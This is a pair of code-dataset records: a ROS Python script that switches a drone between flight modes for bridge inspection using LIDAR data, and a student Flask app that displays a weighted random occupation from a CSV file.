+{"seq_id":"479839553","text":"#!/usr/bin/env python\n\nimport rospy\nimport mavros\nimport sensor_msgs\nimport yaml\nimport numpy as np\nfrom mavros_msgs.msg import *\nfrom mavros_msgs.srv import *\nfrom std_msgs.msg import String\nfrom std_msgs.msg import Int64\nfrom sensor_msgs.msg import *\nfrom roslaunch.parent import ROSLaunchParent\nfrom wall_follow.msg import Lines\nfrom pynput import keyboard\nimport tty, termios\nimport sys\nimport thread as _thread\nimport time\ntry:\n from msvcrt import getch # try to import Windows version\nexcept ImportError:\n def getch(): # define non-Windows version\n fd = sys.stdin.fileno()\n old_settings = termios.tcgetattr(fd)\n try:\n tty.setraw(sys.stdin.fileno())\n ch = sys.stdin.read(1)\n finally:\n termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)\n return ch\n \ndef rightBesideWallPubCB(data):\n\t# print(\"\\n----------rightBesideWallPubCB----------\")\n\t# rospy.loginfo(data)\n\tglobal rightBesideTopic\n\trightBesideTopic = data\n\ndef leftBesideWallPubCB(data):\n\tglobal leftBesideTopic\n\tleftBesideTopic = data\t\n\ndef upColumnLoopPubCB(data):\n\tglobal upColumnTopic\n\tupColumnTopic = data\n\ndef downColumnLoopPubCB(data):\n\tglobal downColumnTopic\n\tdownColumnTopic = data\n\ndef horLaserCB(data):\n\tglobal horTopic\n\thorTopic = data.ranges\n\ndef vertLaserCB(data):\n\tglobal vertTopic\n\tvertTopic = data.ranges\n\ndef modeCB(data):\n\tglobal myMode\n\tmyMode = data.data\n\ndef keypress():\n\tglobal char\n\tchar = getch()\n\n\ndef main():\n\trospy.init_node('bridgeFlight')\n\t#rospy.Subscriber(\"/hor/ho/li\",Lines,horLineCB)\n\t#rospy.Subscriber(\"/vert/ho/li\",Lines,vertLineCB)\n\trospy.Subscriber(\"/right/besideWall/vel\",PositionTarget,rightBesideWallPubCB) # besidewall output going right\n\trospy.Subscriber(\"/left/besideWall/vel\",PositionTarget,leftBesideWallPubCB) # besidewall output going left\n\trospy.Subscriber(\"/up/columnLoop/vel\",PositionTarget,upColumnLoopPubCB) # columnloop output going up\n\trospy.Subscriber(\"/down/columnLoop/vel\",PositionTarget,downColumnLoopPubCB) # columnloop output going down\n\trospy.Subscriber(\"/laser/scan\",LaserScan,horLaserCB)\n\trospy.Subscriber(\"/laser/scan_vert\",LaserScan,vertLaserCB)\n\trospy.Subscriber(\"/manualSwitcher/flyMode\",Int64,modeCB)\n\toutputData = rospy.Publisher(\"/mavros/setpoint_raw/local\",PositionTarget,queue_size=10) # mavros topic\n\tGCmode = rospy.Publisher(\"/bridgeFlight/GCmode\", Int64, queue_size=10) # publishes flag to tell either girderRight = 0, girderLeft = 1, columnUp = 2, columnDown =3\n\t# rate = rospy.Rate(10) # 10hz\n\n\t# VARIABLES\n\tglobal rightBesideTopic\n\tglobal leftBesideTopic\n\tglobal upColumnTopic\n\tglobal downColumnTopic\n\tglobal horTopic\n\tglobal vertTopic\n\tglobal char\n\tglobal myMode\n\n\tokayMode = 0\n\tlistBufferTime = 0\n\tcounterOfBuffer = 30 # buffer between checking if the LIDAR is getting more data compared to previous LIDAR scan\n\t#listOfModes = [1,2,3,1,2,3,1,2,3,1,2,3,1] # bridge1\n\tlistOfModes = [2,2,0,3,2,0,3,2,0,3,2,0,3,2,0,3,2] # bridge4\n\tsleepTime = 0.1 # amount of time we wait at the end of while loops (used in rospy.sleep(sleepTime))\n\n\twhile not rospy.is_shutdown():\n\t\tprint(\"Switch between modes.\")\n\t\tprint(\"Which mode would you like to start with?\\n(manualMode = 4, assistedMode = 5, assistedTimed = 7)\") # obsolete girderRight = 0, girderLeft = 1, columnUp = 2, columnDown = 3\n\t\tgcmode = int(input()) # get the start input mode from user\n\t\tGCmode.publish(gcmode) # publishing starting mode\n\t\tif gcmode == 4: # starting manual mode\n\t\t\tokayMode = 2\n\t\telif gcmode == 5: # starting assisted mode\n\t\t\tokayMode = 3\n\t\telif gcmode == 6:\n\t\t\tokayMode = 4\n\t\telif gcmode == 7:\n\t\t\tokayMode = 5\n\t\telse:\n\t\t\tprint(\"Not a valid choice. Re-choose.\")\n\n\t\twhile okayMode == 1: # autonomous mode\n\t\t\tchar = None\n\t\t\t# _thread.start_new_thread(keypress, ())\n\t\t\tcleanedListHor = [x for x in horTopic if x != np.inf]\n\t\t\tcleanedListVert = [x for x in vertTopic if x != np.inf]\n\t\t\tpreCLH = cleanedListHor\t# previousCleanedListHor\n\t\t\tpreCLV = cleanedListVert # previousCleanedListVert\n\t\t\tlistOfListHor = [[] for x in xrange(counterOfBuffer)]\n\t\t\tlistOfListVert = [[] for x in xrange(counterOfBuffer)]\n\n\t\t\trospy.sleep(counterOfBuffer) # long pause\n\t\t\tcounter = 0 # index of preCLH and preCLV\n\t\t\tswitches = 0\n\t\t\twhile True:\n\t\t\t\tif char == '\\x1b': # x1b is ESC\n\t\t\t\t\texit()\n\t\t\t\tcleanedListHor = [x for x in horTopic if x != np.inf]\n\t\t\t\tcleanedListVert = [x for x in vertTopic if x != np.inf]\n\t\t\t\tlistOfListHor[counter] = cleanedListHor\n\t\t\t\tlistOfListVert[counter] = cleanedListVert\n\t\t\t\tif counter == counterOfBuffer-1:\n\t\t\t\t\tpreCLH = listOfListHor[0]\n\t\t\t\t\tpreCLV = listOfListVert[0]\n\t\t\t\telse:\n\t\t\t\t\tpreCLH = listOfListHor[counter+1]\n\t\t\t\t\tpreCLV = listOfListVert[counter+1]\n\n\t\t\t\tNCLH = len(cleanedListHor)\n\t\t\t\tNCLV = len(cleanedListVert)\n\t\t\t\tNPCLH = len(preCLH)\n\t\t\t\tNPCLV = len(preCLV)\n\n\t\t\t\t# need to add buffer for below variables\n\t\t\t\t#if NCLH > NPCLH: # if hor is getting bigger and vert is getting smaller\n\t\t\t\t#\tif NCLV < NPCLV:\n\t\t\t\t#\t\tgcmode = 0 # go right\n\t\t\t\t#\t\tprint(\"Switching to Right.\")\n\t\t\t\t#\telif NCLV > NPCLV:\n\t\t\t\t#\t\tgcmode = ???\n\t\t\t\t#\t\tprint(\"\")\n\t\t\t\t#\telse: # No change in CLV but change in CLH\n\t\t\t\t#\t\tprint(\"\")\n\t\t\t\t#elif NCLH < NPCLH and NCLV > NPCLV: # if hor is getting smaller and vert is getting bigger\n\t\t\t\t#\tif NCLV > NPCLV:\n\t\t\t\t#\t\tgcmode = 3 # go down\n\t\t\t\t#\t\tprint(\"Switching to Down.\")\n\t\t\t\t#\telif NCLV < NPCLV:\n\t\t\t\t#\t\tgcmode = ???\n\t\t\t\t#\t\tprint(\"\")\n\t\t\t\t#\telse: # No change in CLV but change in CLH\n\t\t\t\t#\t\tprint(\"\")\n\t\t\t\t#else: # no change CLH but potential change in CLV\n\t\t\t\t#\tprint(\"NCLH == NPCLH\")\n\n\t\t\t\tif gcmode == 0:\t# starting girderRight flight\n\t\t\t\t\toutputData.publish(rightBesideTopic)\n\t\t\t\t\tprint(\"Right.\")\n\t\t\t\telif gcmode == 1: # starting girderLeft flight\n\t\t\t\t\toutputData.publish(leftBesideTopic)\n\t\t\t\t\tprint(\"Left.\")\n\t\t\t\telif gcmode == 2: # starting columnUp flight\n\t\t\t\t\toutputData.publish(upColumnTopic)\n\t\t\t\t\tprint(\"Up.\")\n\t\t\t\telse: # starting columnDown flight. gcmode == 3\n\t\t\t\t\toutputData.publish(downColumnTopic)\n\t\t\t\t\tprint(\"Down.\")\n\n\t\t\t\t\t# we want to check then number of laser data we are getting from each laser\n\t\t\t\t\t# compare the two and see which one has more\n\t\t\t\t\t\t# more along the lines of check which one has drastically increased from previous time steps\n\t\t\t\t\t# if it has more then switch modes\n\t\t\t\t\t# figure out how to manually switch modes\n\n\t\t\t\tGCmode.publish(gcmode)\n\t\t\t\tif counter == counterOfBuffer - 1:\n\t\t\t\t\tcounter = 0\n\t\t\t\tcounter = counter + 1\n\t\t\t\trospy.sleep(0.1)\n\n\t\twhile okayMode == 2: # manual mode\n\t\t\tchar = None\n\t\t\tprint(\"Which mode would you like?\\n(girderRight = 0, girderLeft = 1, columnUp = 2, columnDown = 3)\")\n\t\t\tgcmode = int(input()) # get the start input mode from user\n\t\t\tmyMode = gcmode\n\t\t\tGCmode.publish(gcmode)\n\t\t\t#_thread.start_new_thread(keypress, ())\n\n\t\t\twhile True:\n\t\t\t\tif char is not None: # gets keypress\n\t\t\t\t\ttry:\n\t\t\t\t\t\tprint(\"Key pressed is \" + char.decode('utf-8'))\n\t\t\t\t\t\tgcmode = int(char)\n\t\t\t\t\texcept UnicodeDecodeError:\n\t\t\t\t\t\tprint(\"character can not be decoded, sorry!\\n\")\n\t\t\t\t\t\tchar = None\n\t\t\t\t\t#_thread.start_new_thread(keypress, ())\n\t\t\t\t\tif char == '\\x1b': # x1b is ESC\n\t\t\t\t\t\texit()\n\t\t\t\t\tchar = None\n\n\t\t\t\tif gcmode == 0:\t# starting girderRight flight\n\t\t\t\t\ttopic = rightBesideTopic\n\t\t\t\t\toutputData.publish(rightBesideTopic)\n\t\t\t\t\tGCmode.publish(gcmode)\n\t\t\t\t\tprint(\"girderRight flight choosen.\\n\")\n\n\t\t\t\telif gcmode == 1: # starting girderLeft flight\n\t\t\t\t\ttopic = leftBesideTopic\n\t\t\t\t\toutputData.publish(leftBesideTopic)\n\t\t\t\t\tGCmode.publish(gcmode)\n\t\t\t\t\tprint(\"girderLeft flight choosen.\\n\")\n\n\t\t\t\telif gcmode == 2: # starting columnUp flight\n\t\t\t\t\ttopic = upColumnTopic\n\t\t\t\t\toutputData.publish(upColumnTopic)\n\t\t\t\t\tGCmode.publish(gcmode)\n\t\t\t\t\tprint(\"columnUp flight choosen.\\n\")\n\n\t\t\t\telif gcmode == 3: # starting columnDown flight\n\t\t\t\t\ttopic = downColumnTopic\n\t\t\t\t\toutputData.publish(downColumnTopic)\n\t\t\t\t\tGCmode.publish(gcmode)\n\t\t\t\t\tprint(\"columnDown flight choosen.\\n\")\n\n\t\t\t\telse:\n\t\t\t\t\tprint(\"ERROR!!!\\nNo mode selected.\\nPrevious mode kept.\\n\")\n\t\t\t\t\toutputData.publish(topic)\n\t\t\t\t\tGCmode.publish(gcmode)\n\n\t\t\t\tprint(str(myMode))\n\t\t\t\tgcmode = int(myMode)\n\t\t\t\trospy.sleep(0.05)\n\n\t\twhile okayMode == 3: # assisted mode\n\t\t\t# this mode should be exactly the same as autonomous mode, but should follow a predefined set of modes instead of picking on the fly\n\t\t\tchar = None\n\t\t\t#_thread.start_new_thread(keypress, ())\n\t\t\tcleanedListHor = [x for x in horTopic if x != np.inf] # list of all datapoints that are not inf coming from the lidar\n\t\t\tcleanedListVert = [x for x in vertTopic if x != np.inf]\n\t\t\tpreCLH = cleanedListHor\t# previousCleanedListHor\n\t\t\tpreCLV = cleanedListVert # previousCleanedListVert\n\t\t\tlistOfListHor = [[] for x in xrange(counterOfBuffer)] # list of cleaned hor (list of lidar data after cleaned)\n\t\t\tlistOfListVert = [[] for x in xrange(counterOfBuffer)] # list of cleaned vert\n\t\t\tNLH = [0 for x in xrange(counterOfBuffer)] # list of length of hor (filled with the length of the cleaned list)\n\t\t\tNLV = [0 for x in xrange(counterOfBuffer)] # list of length of vert\n\t\t\tcheckerH = [[] for x in xrange(counterOfBuffer)] # list of length of hor (filled with -1,0,1 for if current is less,same,more than previous)\n\t\t\tcheckerV = [[] for x in xrange(counterOfBuffer)] # list of length of vert\n\n\n\t\t\trospy.sleep(5) # long pause\n\t\t\tcounter = 0 # index of preCLH and preCLV\n\t\t\tswitches = 0 # how many mode switches we have been through\n\t\t\tcounterOfModes = 0 # counter for what mode comes next\n\t\t\tlidarBuffer = 40 # +- range we give to number of lidar lasers per scan difference\n\t\t\tconfidenceNumber = 7 # number of previous lidar scans that are less,same,more than current\n\t\t\ttimeSwitchLock = 10 # time in seconds that we should wait to relook for a mode switch\n\t\t\tlock = 0 # lock for mode switching\n\t\t\twhile True:\n\t\t\t\tif char == '\\x1b': # x1b is ESC\n\t\t\t\t\texit()\n\t\t\t\tcleanedListHor = [x for x in horTopic if x != np.inf]\n\t\t\t\tcleanedListVert = [x for x in vertTopic if x != np.inf]\n\t\t\t\tlistOfListHor[counter] = cleanedListHor\n\t\t\t\tlistOfListVert[counter] = cleanedListVert\n\t\t\t\tNLH[counter] = len(cleanedListHor)\n\t\t\t\tNLV[counter] = len(cleanedListVert)\n\t\t\t\tif counter == counterOfBuffer-1:\n\t\t\t\t\tNPCLH = NLH[0]\n\t\t\t\t\tNPCLV = NLV[0]\n\t\t\t\telse:\n\t\t\t\t\tNPCLH = NLH[counter+1]\n\t\t\t\t\tNPCLV = NLV[counter+1]\n\n\t\t\t\tNCLH = NLH[counter] # current number of horizontal lidar lines\n\t\t\t\tNCLV = NLV[counter] # current number of vertical lidar lines\n\t\t\t\t#NPCLH = len(preCLH)\n\t\t\t\t#NPCLV = len(preCLV)\n\n\t\t\t\t# need to add buffer for below variables\n\t\t\t\t# print(\"NLH:\" + str(NLH))\n\t\t\t\t# print(\"NCLV:\" + str(NCLV))\n\t\t\t\tif NCLH != 0 and NCLV != 0 and NPCLH != 0 and NPCLV != 0:\n\t\t\t\t\tcheckerCounter = 0\n\t\t\t\t\tfor i in range(0,counterOfBuffer-1):\n\t\t\t\t\t\tif NCLH > NLH[checkerCounter]+lidarBuffer:\t\t# if current is larger than previous checkerH is 1 in list\n\t\t\t\t\t\t\tcheckerH[checkerCounter] = 1\n\t\t\t\t\t\telif NCLH < NLH[checkerCounter]-lidarBuffer:\t# if current is smaller than previous checkerH is -1 in list\n\t\t\t\t\t\t\tcheckerH[checkerCounter] = -1\n\t\t\t\t\t\telse:\t\t\t\t\t\t\t\t\t\t\t# if current is within +- lidarBuffer range of previous\n\t\t\t\t\t\t\tcheckerH[checkerCounter] = 0\n\t\t\t\t\t\tif NCLV > NLV[checkerCounter]+lidarBuffer:\t\t# if current is larger than previous checkerV is 1 in list\n\t\t\t\t\t\t\tcheckerV[checkerCounter] = 1\n\t\t\t\t\t\telif NCLV < NLV[checkerCounter]-lidarBuffer: \t# if current is smaller than previous checkerV is -1 in list\n\t\t\t\t\t\t\tcheckerV[checkerCounter] = -1\n\t\t\t\t\t\telse:\t\t\t\t\t\t\t\t\t\t\t# if current is within +- lidarBuffer range of previous\n\t\t\t\t\t\t\tcheckerV[checkerCounter] = 0\n\n\t\t\t\t\t\tcheckerCounter = checkerCounter + 1\n\n\t\t\t\t\tCH1 = checkerH.count(1) # if current is larger than previous number of laser scans\n\t\t\t\t\tCH0 = checkerH.count(0) # if current is smaller than previous number of laser scans\n\t\t\t\t\tCHn1 = checkerH.count(-1) # if current is similar to previous number of laser scans\n\t\t\t\t\tCV1 = checkerV.count(1) # if current is larger than previous number of laser scans\n\t\t\t\t\tCV0 = checkerV.count(0) # if current is smaller than previous number of laser scans\n\t\t\t\t\tCVn1 = checkerV.count(-1) # if current is similar to previous number of laser scans\n\n\t\t\t\t\tif lock <= 0:\n\t\t\t\t\t\tif CH1 > confidenceNumber:\n\t\t\t\t\t\t\t# going from column to girder\n\t\t\t\t\t\t\tgcmode = listOfModes[counterOfModes]\n\t\t\t\t\t\t\tcounterOfModes = counterOfModes + 1\n\t\t\t\t\t\t\tprint(\"change1\")\n\t\t\t\t\t\t\tlock = timeSwitchLock\n\t\t\t\t\t\telif CV1 > confidenceNumber:\n\t\t\t\t\t\t\t# going from girder to column\n\t\t\t\t\t\t\tgcmode = listOfModes[counterOfModes]\n\t\t\t\t\t\t\tcounterOfModes = counterOfModes + 1\n\t\t\t\t\t\t\tprint(\"change2\")\n\t\t\t\t\t\t\tlock = timeSwitchLock\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tgcmode = listOfModes[counterOfModes-1]\n\n\t\t\t\t\tif lock > 0:\n\t\t\t\t\t\tlock = lock-1\n\n\n\t\t\t\t\tprint(\"CH1:\" + str(CH1))\n\t\t\t\t\tprint(\"CH0:\" + str(CH0))\n\t\t\t\t\tprint(\"CHn1:\" + str(CHn1))\n\t\t\t\t\tprint(\"counterOfModes:\" + str(counterOfModes))\n\n\n\t\t\t\tif gcmode == 0:\t# starting girderRight flight\n\t\t\t\t\toutputData.publish(rightBesideTopic)\n\t\t\t\t\t#print(\"Right.\")\n\t\t\t\telif gcmode == 1: # starting girderLeft flight\n\t\t\t\t\toutputData.publish(leftBesideTopic)\n\t\t\t\t\t#print(\"Left.\")\n\t\t\t\telif gcmode == 2: # starting columnUp flight\n\t\t\t\t\toutputData.publish(upColumnTopic)\n\t\t\t\t\t#print(\"Up.\")\n\t\t\t\telse: # starting columnDown flight. gcmode == 3\n\t\t\t\t\toutputData.publish(downColumnTopic)\n\t\t\t\t\t#print(\"Down.\")\n\n\t\t\t\tGCmode.publish(gcmode)\n\t\t\t\tif counter == counterOfBuffer - 1:\n\t\t\t\t\tcounter = 0\n\t\t\t\tcounter = counter + 1\n\t\t\t\tif counterOfModes == len(listOfModes)-1:\n\t\t\t\t\tprint(\"DONE!!!\")\n\t\t\t\t\t_thread.exit()\n\t\t\t\t\texit()\n\t\t\t\trospy.sleep(0.1)\n\n\t\twhile okayMode == 4: # test mode for just pass through of topic data, currently testing girderRight\n\t\t\tchar = None\n\t\t\t#print(\"Which mode would you like?\\n(girderRight = 0, girderLeft = 1, columnUp = 2, columnDown = 3)\")\n\t\t\t#gcmode = int(input()) # get the start input mode from user\n\t\t\t#myMode = gcmode\n\t\t\t#GCmode.publish(gcmode)\n\t\t\t#_thread.start_new_thread(keypress, ())\n\n\t\t\twhile True: # TODO: check to make sure that the topics come through cleanly if there are two topics being published for left and right\n\t\t\t\t#topic = rightBesideTopic\n\t\t\t\toutputData.publish(downColumnTopic)\n\t\t\t\t#GCmode.publish(gcmode)\n\t\t\t\t#print(\"Special Mode\\r\\n\")\n\n\t\t\t\trospy.sleep(0.05)\n\n\t\twhile okayMode == 5: # assisted mode with timer for down and up\n\t\t\t# this mode should be exactly the same as assisted mode, but should follow a predefined set of modes with timing for down then up\n\t\t\tcleanedListHor = [x for x in horTopic if x != np.inf] \t\t# list of all datapoints that are not inf coming from the lidar\n\t\t\tcleanedListVert = [x for x in vertTopic if x != np.inf]\n\t\t\tpreCLH = cleanedListHor\t\t\t\t\t\t\t\t\t\t# previousCleanedListHor\n\t\t\tpreCLV = cleanedListVert \t\t\t\t\t\t\t\t\t# previousCleanedListVert\n\t\t\tlistOfListHor = [[] for x in xrange(counterOfBuffer)] \t\t# list of cleaned hor (list of lidar data after cleaned)\n\t\t\tlistOfListVert = [[] for x in xrange(counterOfBuffer)] \t\t# list of cleaned vert\n\t\t\tNLH = [0 for x in xrange(counterOfBuffer)] \t\t\t\t\t# list of length of hor (filled with the length of the cleaned list)\n\t\t\tNLV = [0 for x in xrange(counterOfBuffer)] \t\t\t\t\t# list of length of vert\n\t\t\tcheckerH = [[] for x in xrange(counterOfBuffer)] \t\t\t# list of length of hor (filled with -1,0,1 for if current is less,same,more than previous)\n\t\t\tcheckerV = [[] for x in xrange(counterOfBuffer)] \t\t\t# list of length of vert\n\t\t\tgradientH = [[] for x in xrange(counterOfBuffer)]\n\t\t\tgradientV = [[] for x in xrange(counterOfBuffer)]\n\n\n\t\t\trospy.sleep(5) \t\t\t# long pause\n\t\t\tcounter = 0 \t\t\t# index of preCLH and preCLV\n\t\t\tswitches = 0 \t\t\t# how many mode switches we have been through\n\t\t\tcounterOfModes = 0 \t\t# counter for what mode comes next\n\t\t\t# bridge1\n\t\t\t#lidarBuffer = 12 \t\t# +- range we give to number of lidar lasers per scan difference\n\t\t\t#confidenceNumber = 0.85\t# confidence of changing in %\n\t\t\t# bridge5\n\t\t\t#lidarBuffer = 5\t\t\t# higher buffer than you need a bigger change in Lidar scans to detect it\n\t\t\t#confidenceNumber = 0.7\t\t# higher confidence means the more number of lidar scans in a row you need to switch\n\t\t\t# bridge2\n\t\t\tlidarBuffer = 5\t\t\t# higher buffer than you need a bigger change in Lidar scans to detect it\n\t\t\tconfidenceNumber = 0.7\t\t# higher confidence means the more number of lidar scans in a row you need to switch\t\t\t\n\t\t\ttimeSwitchLock = 1500 \t# buffer that we should wait to relook for a mode switch (real world time = timeSwitchLock * sleepTime)\n\t\t\tlock = 0 \t\t\t\t# lock for mode switching\n\t\t\twhile True:\n\t\t\t\tcleanedListHor = [x for x in horTopic if x != np.inf]\n\t\t\t\tcleanedListVert = [x for x in vertTopic if x != np.inf]\n\t\t\t\tlistOfListHor[counter] = cleanedListHor\n\t\t\t\tlistOfListVert[counter] = cleanedListVert\n\t\t\t\tNLH[counter] = len(cleanedListHor)\n\t\t\t\tNLV[counter] = len(cleanedListVert)\n\t\t\t\tif counter == counterOfBuffer-1: # getting pervious number of lidar lines\n\t\t\t\t\tNPCLH = NLH[0]\n\t\t\t\t\tNPCLV = NLV[0]\n\t\t\t\telse:\n\t\t\t\t\tNPCLH = NLH[counter+1]\n\t\t\t\t\tNPCLV = NLV[counter+1]\n\n\t\t\t\tNCLH = NLH[counter] # current number of horizontal lidar lines\n\t\t\t\tNCLV = NLV[counter] # current number of vertical lidar lines\n\t\t\t\t\n\t\t\t\tif NCLH != 0 and NCLV != 0 and NPCLH != 0 and NPCLV != 0:\n\t\t\t\t\t# comparing laser scans\n\t\t\t\t\tcheckerCounter = 0\n\t\t\t\t\tfor i in range(0,counterOfBuffer-1):\n\t\t\t\t\t\tif NPCLH > NLH[checkerCounter]+lidarBuffer:\t\t# if current is larger than previous checkerH is 1 in list\n\t\t\t\t\t\t\tcheckerH[checkerCounter] = 1\n\t\t\t\t\t\telif NPCLH < NLH[checkerCounter]-lidarBuffer:\t# if current is smaller than previous checkerH is -1 in list\n\t\t\t\t\t\t\tcheckerH[checkerCounter] = -1\n\t\t\t\t\t\telse:\t\t\t\t\t\t\t\t\t\t\t# if current is within +- lidarBuffer range of previous\n\t\t\t\t\t\t\tcheckerH[checkerCounter] = 0\n\n\t\t\t\t\t\tif NPCLV > NLV[checkerCounter]+lidarBuffer:\t\t# if current is larger than previous checkerV is 1 in list\n\t\t\t\t\t\t\tcheckerV[checkerCounter] = 1\n\t\t\t\t\t\telif NPCLV < NLV[checkerCounter]-lidarBuffer: \t# if current is smaller than previous checkerV is -1 in list\n\t\t\t\t\t\t\tcheckerV[checkerCounter] = -1\n\t\t\t\t\t\telse:\t\t\t\t\t\t\t\t\t\t\t# if current is within +- lidarBuffer range of previous\n\t\t\t\t\t\t\tcheckerV[checkerCounter] = 0\n\n\t\t\t\t\t\tcheckerCounter = checkerCounter + 1\n\n\t\t\t\t\t# tallying laser scan comparisons\n\t\t\t\t\tCH1 = checkerH.count(1) \t# if current is larger than previous number of laser scans\n\t\t\t\t\tgradientH[counter] = CH1 \t# list of CH1 (list of number of current greater than past lidar scans)\n\t\t\t\t\tCH0 = checkerH.count(0) \t# if current is smaller than previous number of laser scans\n\t\t\t\t\tCHn1 = checkerH.count(-1) \t# if current is similar to previous number of laser scans\n\t\t\t\t\tCV1 = checkerV.count(1) \t# if current is larger than previous number of laser scans\n\t\t\t\t\tgradientV[counter] = CV1 \t# list of CV1 (list of number of current greater than past lidar scans)\n\t\t\t\t\tCV0 = checkerV.count(0) \t# if current is smaller than previous number of laser scans\n\t\t\t\t\tCVn1 = checkerV.count(-1) \t# if current is similar to previous number of laser scans\n\t\t\t\t\tpercentLargerH1 = float(CHn1) / float((CH1+CH0+CHn1))\n\t\t\t\t\tpercentLargerV1 = float(CVn1) / float((CV1+CV0+CVn1))\n\t\t\t\t\t\n\t\t\t\t\t# mode switching\n\t\t\t\t\tif lock <= 0 and counterOfModes-1 != len(listOfModes):\n\t\t\t\t\t\tif listOfModes[counterOfModes] == 3 and listOfModes[counterOfModes+1] == 2: \n\t\t\t\t\t\t\tcounterOfModes = counterOfModes + 1\n\t\t\t\t\t\t\tgcmode = listOfModes[counterOfModes]\n\t\t\t\t\t\t\tlock = timeSwitchLock * sleepTime - timeSwitchLock*sleepTime*0.6\n\t\t\t\t\t\t\tprint(\"change0\")\n\t\t\t\t\t\telse:\t# regular checks for switching between modes\n\t\t\t\t\t\t\tif percentLargerH1 > confidenceNumber and listOfModes[counterOfModes] == 2:\n\t\t\t\t\t\t\t\t# going from column to girder\n\t\t\t\t\t\t\t\tcounterOfModes = counterOfModes + 1\n\t\t\t\t\t\t\t\tgcmode = listOfModes[counterOfModes]\n\t\t\t\t\t\t\t\tlock = timeSwitchLock * sleepTime\n\t\t\t\t\t\t\t\tprint(\"change1\")\n\t\t\t\t\t\t\telif percentLargerV1 > confidenceNumber and (listOfModes[counterOfModes] == 0 or listOfModes[counterOfModes] == 1):\n\t\t\t\t\t\t\t\t# going from girder to column\n\t\t\t\t\t\t\t\tcounterOfModes = counterOfModes + 1\n\t\t\t\t\t\t\t\tgcmode = listOfModes[counterOfModes]\n\t\t\t\t\t\t\t\tlock = timeSwitchLock * sleepTime\n\t\t\t\t\t\t\t\tprint(\"change2\")\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tgcmode = listOfModes[counterOfModes]\n\n\t\t\t\t\t# buffer for not allowing switching of modes\n\t\t\t\t\tif lock > 0:\n\t\t\t\t\t\tlock = lock-1\n\n\t\t\t\t\tprint(\"_________________\")\n\t\t\t\t\tprint(\"percentLargerV1:\" + str(percentLargerV1))\n\t\t\t\t\tprint(\"percentLargerH1:\" + str(percentLargerH1))\n\t\t\t\t\tprint(\"MODE:\" + str(listOfModes[counterOfModes]))\n\t\t\t\t\tprint(\"counterOfModes:\" + str(counterOfModes))\n\n\t\t\t\t# publishing correct flight topic\n\t\t\t\tif gcmode == 0:\t# starting girderRight flight\n\t\t\t\t\toutputData.publish(rightBesideTopic)\n\t\t\t\telif gcmode == 1: # starting girderLeft flight\n\t\t\t\t\toutputData.publish(leftBesideTopic)\n\t\t\t\telif gcmode == 2: # starting columnUp flight\n\t\t\t\t\toutputData.publish(upColumnTopic)\n\t\t\t\telse: # starting columnDown flight. gcmode == 3\n\t\t\t\t\toutputData.publish(downColumnTopic)\n\t\t\t\tGCmode.publish(gcmode)\n\t\t\t\t\n\t\t\t\t# reseting counter for NPCLH and NCLH (vert as well)\n\t\t\t\tif counter == counterOfBuffer - 1:\n\t\t\t\t\tcounter = 0\n\t\t\t\telse:\n\t\t\t\t\tcounter = counter + 1\n\n\t\t\t\t# checking if we've gone through all modes in listOfModes\n\t\t\t\tif counterOfModes == len(listOfModes)-1:\n\t\t\t\t\tprint(\"DONE!!!\")\n\t\t\t\t\tokayMode = 10\n\t\t\t\trospy.sleep(sleepTime)\n\n\t\twhile okayMode == 10: # assisted mode with timer for down and up\n\t\t\tif gcmode == 0:\t# starting girderRight flight\n\t\t\t\toutputData.publish(rightBesideTopic)\n\t\t\telif gcmode == 1: # starting girderLeft flight\n\t\t\t\toutputData.publish(leftBesideTopic)\n\t\t\telif gcmode == 2: # starting columnUp flight\n\t\t\t\toutputData.publish(upColumnTopic)\n\t\t\telse: # starting columnDown flight. gcmode == 3\n\t\t\t\toutputData.publish(downColumnTopic)\n\nif __name__ == '__main__':\n\ttry:\n\t\tmain()\n\texcept rospy.ROSInterruptException:\n\t\tpass\n","sub_path":"scripts/bridgeFlight.py","file_name":"bridgeFlight.py","file_ext":"py","file_size_in_byte":21436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"162941347","text":"#Grace Mao\n#SoftDev1 pd9\n#K10 -- Jinja Tuning\n#2019-09-24\n\nfrom flask import Flask, render_template\n# CODE FROM 03_CSV\nimport random\nimport csv\n\nworkersAndPercent = {}\nwith open('occ2.csv') as csvfile:\n readCSV = csv.reader(csvfile, delimiter=',')\n for row in readCSV: #for each row in the csv file\n if row[0] != 'Job Class' and row[0] != 'Total': #as long as it's not the first row\n temp = list()\n temp.append(float(row[1]))\n temp.append(row[2])\n workersAndPercent[row[0]] = temp #turn value into a float\n #workersAndPercent.pop('Total',99.8) #pop off the last row\n\ndef randomO(d): # WITHOUT LINKS\n bigL = list() # will generate very large list with weighted items\n for key,value in d.items():\n bigL += [key] * int(value * 10) #add each job to the list value*10 many times\n return random.choice(bigL) #weighted random choice based on how many times a job is in the list\n\ndef rando(d): # WITH LINKS\n bigL = list()\n for key,value in d.items():\n bigL += [key] * int(value[0] * 10)\n return random.choice(bigL)\n\napp = Flask(__name__) #instance of Flask\n\n@app.route(\"/\") #root\ndef home():\n print(__name__) #prints to terminal\n return \"Go to /occupyflaskst\"\n\n@app.route('/occupyflaskst')\ndef occupy():\n print(__name__) #prints to terminal\n chosen = rando(workersAndPercent)\n return render_template('template.html',\n title = 'Tablified Occupations Data',\n heading = 'K10: Jinja Tuning',\n h2 = 'Tablifying Occupations Data and Providing Help :)',\n team = 'The Bears: Taejoon Kim, Grace Mao',\n job = chosen,\n link = workersAndPercent[chosen][1],\n jobs = 'Occupation',\n percent = 'Percentage',\n collection = workersAndPercent)\n\nif __name__ == \"__main__\":\n app.debug = True\n app.run()\n","sub_path":"fall/10_occ/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
